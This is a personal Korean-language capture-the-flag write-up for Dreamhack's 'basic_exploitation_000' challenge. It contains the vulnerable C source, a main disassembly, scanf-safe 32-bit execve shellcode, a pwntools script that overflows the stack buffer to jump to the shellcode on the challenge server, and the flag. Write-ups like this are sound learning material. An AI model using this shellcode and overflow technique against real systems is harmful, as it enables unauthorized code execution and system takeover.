← 전체 Write-Up

Pwn / Dreamhack

basic_exploitation_000

Dreamhack 문제의 풀이와 실습 과정을 원문 그대로 담은 개인 기록입니다.

읽기 안내

Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.

환경


basic_exploitation_000 — 실습 화면 1

  • i386 아키텍처 -> 32bit 환경 확인.
  • RELO 보호기법 미적용
  • canary 보호기법 미적용
  • NX 보호기법 미적용
  • PIE 보호기법 미적용

실습 코드


#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
	puts("TIME OUT");
    exit(-1);
}

void initalize() {
	setvbuf(stdin, NULL, _IOBNF, 0);
    setvbuf(stdout, NULL, _IOBNF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
	char buf[0x80];

    initialize();

    printf("buf = (%p)\\n", buf);
    scanf("%141s", buf);

    return 0;
}

분석

1. 취약점 분석

  1. main 함수에 0x80 크기의 char형 배열 선언.
  2. printf() 함수로 buf 배열의 주소를 출력해주고 있고, scanf() 함수로 141bytes만큼 입력받아 buf에 저장한다. buf의 길이는 0x80(128 bytes) 이지만 scanf로 받을 수 있는 길이는 141 bytes로 이 부분에 버퍼 오버플로우 공격을 할 수 있다. 소스코드에서 get_shell() 함수가 따로 없어서 execve() 셸 코드를 이용하여 /bin/bash 셸을 따내는 코드를 작성하면 된다.

basic_exploitation_000 — 실습 화면 2

dreamhack에서 할당받은 주소로 들어가면 어느 주소에 값을 넣으면 되는지 알려준다.


2. scanf() 26bytes 우회 셸 코드

32bit 환경이기 때문에 64bit 환경의 호출 규약과 다르니 이 점을 생각해서 셸 코드를 작성해야한다. scanf()는 공백, 탭, 개행 3가지 중 하나만 나와도 종료가 된다. 그렇기 때문에 우리는 쉘 코드 작성 시 저 3가지가 안 들어가도록 주의해야한다.

basic_exploitation_000 — 실습 화면 3

출처 ASCII 코드 값을 보면 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x20이 오면 입력받는 것을 종료한다. 32bit 아키텍처에서는 execve() 시스템 콜 값이 **0x0b**다. 0x0b는 ASCII 코드에서는 Vertical Tab이므로 0x0b값 뒤에 오는 값들은 싹 무시하고 종료된다. 작성된 셸 코드는 다음과 같다.

\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xb0\\x08\\x40\\x40\\x40\\xcd\\x80

3. 익스플로잇

스택 프레임 구조 파악

basic_exploitation_000 — 실습 화면 4

pwndbg> disass main
Dump of assembler code for function main:
   0x080485d9 <+0>:		push   ebp
   0x080485da <+1>:		mov    ebp,esp
   0x080485dc <+3>:		add    esp,0xffffff80
   0x080485df <+6>:		call   0x8048592 <initialize>
   0x080485e4 <+11>:	lea    eax,[ebp-0x80]
   0x080485e7 <+14>:	push   eax
   0x080485e8 <+15>:	push   0x8048699
   0x080485ed <+20>:	call   0x80483f0 <printf@plt>
   0x080485f2 <+25>:	add    esp,0x8
   0x080485f5 <+28>:	lea    eax,[ebp-0x80]
   0x080485f8 <+31>:	push   eax
   0x080485f9 <+32>:	push   0x80486a5
   0x080485fe <+37>:	call   0x8048460 <__isoc99_scanf@plt>
   0x08048603 <+42>:	add    esp,0x8
   0x08048606 <+45>:	mov    eax,0x0
   0x0804860b <+50>:	leave
   0x0804860c <+51>:	ret
End of assembler dump.

disass main 명령어로 main 함수를 확인해 보면 레지스터들이 32비트 기반으로 구성되어있는 것을 볼 수 있다.


익스플로잇 코드

from pwn import *

p = remote("host3.dreamhack.games", 22788)

p.recvuntil('buf = (')

buf_addr = int(p.recv(10), 16)

# scanf() 우회 shellcode
shellcode = b"\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xb0\\x08\\x40\\x40\\x40\\xcd\\x80"

payload = shellcode + b'A' * (0x84 - len(shellcode)) + p32(buf_addr)

p.send(payload)

p.interactive()

코드 설명

p.recvuntil('buf = (')

소켓에서 데이터를 읽어들이되, 인자로 전달된 buf = ( 라는 문자열이 나타날 때까지 계속 수신한다. 이 문자열이 수신되면, 함수는 그 지점까지의 모든 데이터를 포함하여 반환하고, 데이터 수신을 중단한다. 이 코드를 사용하는 이유는 서버가 메모리 버퍼의 주소를 전달하기 전에 특정 문자열을 보내고 이를 기준으로 하여 메모리 주소를 식별하려는 것이다.

이 문자열을 수신함으로써, 클라이언트는 메모리 주소 정보가 시작되는 지점을 정확히 알 수 있다.

buf_addr = int(p.recv(10), 16)

서버로부터 수신된 데이터를 처리하여 메모리 주소를 정수 형태로 변환하는 과정이다. 10바이트를 서버로부터 불러온다. 그럼 왜 하필 10bytes 일까? 대부분의 메모리 주소는 0x???????? 의 형태로 총 10글자다.
recv(10) 함수는 메모리 주소를 포함한 10바이트의 데이터를 수신하도록 설정된 것이다. 이는 주소 문자열 전체를 포함하기 위한 것이며, 실제 주소 값을 이진 데이터로 다루는 것이 아니라 텍스트 형식으로 처리하기 때문이다.

payload = shellcode + b'A' * (0x84 - len(shellcode)) + p32(buf_addr)

셸 코드 뒤에 'A' 문자를 반복하여 0x84 - len(shellcode) 수치만큼 셸 코드와 실제 버퍼 사이를 채워 넣어, 버퍼의 나머지 부분을 일정하게 만든다. p32 함수는 주어진 메모리 주소를 32비트 리틀엔디언 형식의 바이너리 데이터로 변환한다. 이 데이터는 페이로드의 맨 끝에 추가되어 공격 대상 시스템의 함수 반환 주소를 공격자가 원하는 새로운 주소로 덮어쓰기 위해 사용된다.


결과

basic_exploitation_000 — 실습 화면 5

DH{465dd453b2a25a26a847a93d3695676d}

작성 기록과 문제 출처

원문과 출처

풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.

원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.

이미지 원본 출처